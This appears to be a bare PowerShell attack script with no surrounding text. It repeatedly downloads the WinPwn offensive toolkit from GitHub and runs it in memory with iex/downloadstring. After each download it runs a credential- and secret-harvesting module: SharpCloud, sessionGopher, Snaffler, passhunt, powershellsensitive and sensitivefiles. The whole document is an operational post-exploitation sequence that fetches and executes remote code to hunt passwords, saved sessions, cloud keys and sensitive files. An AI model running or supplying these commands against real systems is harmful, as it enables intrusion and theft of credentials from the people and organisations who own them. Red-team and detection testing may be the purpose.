iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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